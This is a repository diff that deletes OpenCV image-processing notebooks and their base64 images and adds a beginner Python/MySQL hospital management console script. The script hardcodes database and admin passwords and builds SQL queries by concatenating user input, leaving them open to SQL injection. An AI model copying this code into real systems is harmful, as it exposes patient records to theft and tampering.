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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "import cv2 \n", - "import numpy as np\n", - "import matplotlib.pyplot as plt\n", - "\n", - "image = cv2.imread(\"color.png\", 1)\n", - "\n", - "# convert image from rgb to hsv\n", - "img_hsv = cv2.cvtColor(image, cv2.COLOR_RGB2HSV)\n", - "\n", - "# histogram equalization on the v-channel\n", - "img_hsv[:,:,2] = cv2.equalizeHist(img_hsv[:,:,2])\n", - "\n", - "# convert the image from hsv to rgb\n", - "imgRgb = cv2.cvtColor(img_hsv, cv2.COLOR_HSV2RGB)\n", - "\n", - "# histogram\n", - "hist1 = cv2.calcHist([image], [0], None, [256], [0, 256]) \n", - "hist2 = cv2.calcHist([imgRgb], [0], None, [256], [0, 256]) \n", - "\n", - "#plotting\n", - "plt.subplot(221), plt.plot(hist1)\n", - "plt.subplot(222), plt.plot(hist2)\n", - "plt.subplot(223), plt.imshow(cv2.cvtColor(image, cv2.COLOR_BGR2RGB))\n", - "plt.subplot(224), plt.imshow(cv2.cvtColor(imgRgb, cv2.COLOR_BGR2RGB))\n", - "\n", - "plt.show()" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "id": "4e332159", - "metadata": {}, - "outputs": [], - "source": [] - } - ], - "metadata": { - "kernelspec": { - "display_name": "Python 3 (ipykernel)", - "language": "python", - "name": "python3" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.9.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} diff --git a/Add Code Here/PYTHON/Histogram Equalization/brightImage.png b/Add Code Here/PYTHON/Histogram Equalization/brightImage.png deleted file mode 100644 index 97bc1a886e6..00000000000 Binary files a/Add Code Here/PYTHON/Histogram Equalization/brightImage.png and /dev/null differ diff --git a/Add Code Here/PYTHON/Histogram Equalization/color.png b/Add Code Here/PYTHON/Histogram Equalization/color.png deleted file mode 100644 index b6d28cc252d..00000000000 Binary files a/Add Code Here/PYTHON/Histogram Equalization/color.png and /dev/null differ diff --git a/Add Code Here/PYTHON/Histogram Equalization/darkImage.png b/Add Code Here/PYTHON/Histogram Equalization/darkImage.png deleted file mode 100644 index d52f1666669..00000000000 Binary files a/Add Code Here/PYTHON/Histogram Equalization/darkImage.png and /dev/null differ diff --git a/Add Code Here/PYTHON/Hospital management system.py b/Add Code Here/PYTHON/Hospital management system.py new file mode 100644 index 00000000000..6dc7b5f1485 --- /dev/null +++ b/Add Code Here/PYTHON/Hospital management system.py @@ -0,0 +1,149 @@ +from sys import exit +import mysql.connector as sql + +conn = sql.connect(host='localhost', user='root', password='scott', database='project3') +if conn.is_connected(): + print() + print("------------------------------------") + print("|Successfully Connected To Database|") + print("------------------------------------") + print("------------------------------------") + print("----------Made By Ayushman----------") + print("------------------------------------") +c1 = conn.cursor() + +print("------------------------------------") +print("| FORTIS HOSPITAL |") +print("------------------------------------") +print("------------------------------------") +print("| HOSPITAL MANAGEMENT SYSTEM |") +print("------------------------------------") +print("------------------------------------") +print('| "MAY GOD BLESS YOU" |') +print("------------------------------------") +print("|1.LOGIN|") +print("|2.EXIT |") +choice = int(input("ENTER YOUR CHOICE:")) + +if choice == 1: + u1 = input("enter user name:") + pwd1 = input("enter the password:") + while u1 == 'admin' and pwd1 == 'project': + print("~") + print("") + print("Acccess Granted") + print("") + print("~") + print("+----------------------------------+") + print("| WELCOME TO HOSPITAL |") + print("|----------------------------------|") + print("| Successfully Connected To Server |") + print("|----------------------------------|") + print('| 1.Register New Patient details |') + print('| 2.Register New Doctor details |') + print('| 3.Register New Worker details |') + print("| 4.Total patient info |") + print("| 5.Total doctor info |") + print("| 6.Total worker info |") + print('| 7.Patient Detail |') + print('| 8.Doctor Detail |') + print('| 9.Worker Detail |') + print('| 10.Exit |') + print("+----------------------------------+") + + choice = int(input('ENTER YOUR CHOICE:')) + if choice == 1: + p_name = input('Enter Patient Name:') + p_age = int(input('Enter Age:')) + p_problems = input('Enter the Problem/Disease:') + p_phone = int(input('Enter Phone number:')) + sql_insert = "insert into patient_details values(""'" + p_name + "'," + str(p_age) + ",'" + p_problems + "'," + str(p_phone) + ")" + c1.execute(sql_insert) + print('SUCCESSFULLY REGISTERED') + conn.commit() + + elif choice == 2: + d_name = input('Enter Doctor Name:') + d_age = int(input('Enter Age:')) + d_department = input('Enter the Department:') + d_phone = int(input('Enter Phone number:')) + sql_insert = "insert into doctor_details values(""'" + d_name + "'," + str(d_age) + ",'" + d_department + "'," + str(d_phone) + ")" + c1.execute(sql_insert) + print('successfully registered') + conn.commit() + + elif choice == 3: + w_name = input('Enter Worker Name:') + w_age = int(input('Enter Age:')) + w_workname = input('Enter type of work:') + w_phone = int(input('Enter Phone number:')) + sql_insert = "insert into worker_details values(""'" + w_name + "'," + str(w_age) + ",'" + w_workname + "'," + str(w_phone) + ")" + c1.execute(sql_insert) + print('successfully registered') + conn.commit() + + elif choice == 4: + sql_w = 'select * from patient_details' + c1.execute(sql_w) + print("|----------------------------------------------|") + r = c1.fetchall() + for i in r: + print(i) + print("|----------------------------------------------|") + + elif choice == 5: + sql_x = "select * from doctor_details" + c1.execute(sql_x) + print("|------------------------------------------------------|") + s = c1.fetchall() + for i in s: + print(i) + print("|------------------------------------------------------|") + + elif choice == 6: + sql_y = "select * from worker_details" + c1.execute(sql_y) + print("|--------------------------------------------------|") + t = c1.fetchall() + for i in t: + print(i) + print("|--------------------------------------------------|") + + elif choice == 7: + h = input("Enter the name:") + sql_w = 'select * from patient_details where p_name=("{}")'.format(h) + c1.execute(sql_w) + print("|----------------------------------------------|") + u = c1.fetchall() + for i in u: + print(i) + print("|----------------------------------------------|") + + elif choice == 8: + d = input("Enter the name:") + sql_d = 'select * from doctor_details where d_name=("{}")'.format(d) + c1.execute(sql_d) + print("|------------------------------------------------------|") + v = c1.fetchall() + for i in v: + print(i) + print("|------------------------------------------------------|") + + elif choice == 9: + f = input("Enter the name:") + sql_f = 'select * from worker_details where w_name=("{}")'.format(f) + c1.execute(sql_f) + print("|------------------------------------------------|") + w = c1.fetchall() + for i in w: + print(i) + print("|------------------------------------------------|") + + elif choice == 10: + exit() + + else: + print('Wrong Username or Password') + +if choice == 2: + exit() \ No newline at end of file diff --git a/Add Code Here/PYTHON/Image_to_sketch.ipynb b/Add Code Here/PYTHON/Image_to_sketch.ipynb deleted file mode 100644 index fd9474b5891..00000000000 --- a/Add Code Here/PYTHON/Image_to_sketch.ipynb +++ /dev/null @@ -1,299 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "966cf8ab", - "metadata": {}, - "source": [ - "### Importing Libraries" - ] - }, - { - "cell_type": "code", - "execution_count": 9, - "id": "e9972d5b", - "metadata": {}, - "outputs": [], - "source": [ - "import cv2\n", - "import matplotlib.pyplot as plt" - ] - }, - { - "cell_type": "markdown", - "id": "1a2bc2ab", - "metadata": {}, - "source": [ - "### Reading the Image" - ] - }, - { - "cell_type": "code", - "execution_count": 12, - "id": "89a8b8b5", - "metadata": { - "scrolled": true - }, - "outputs": [ - { - "data": { - "image/png": "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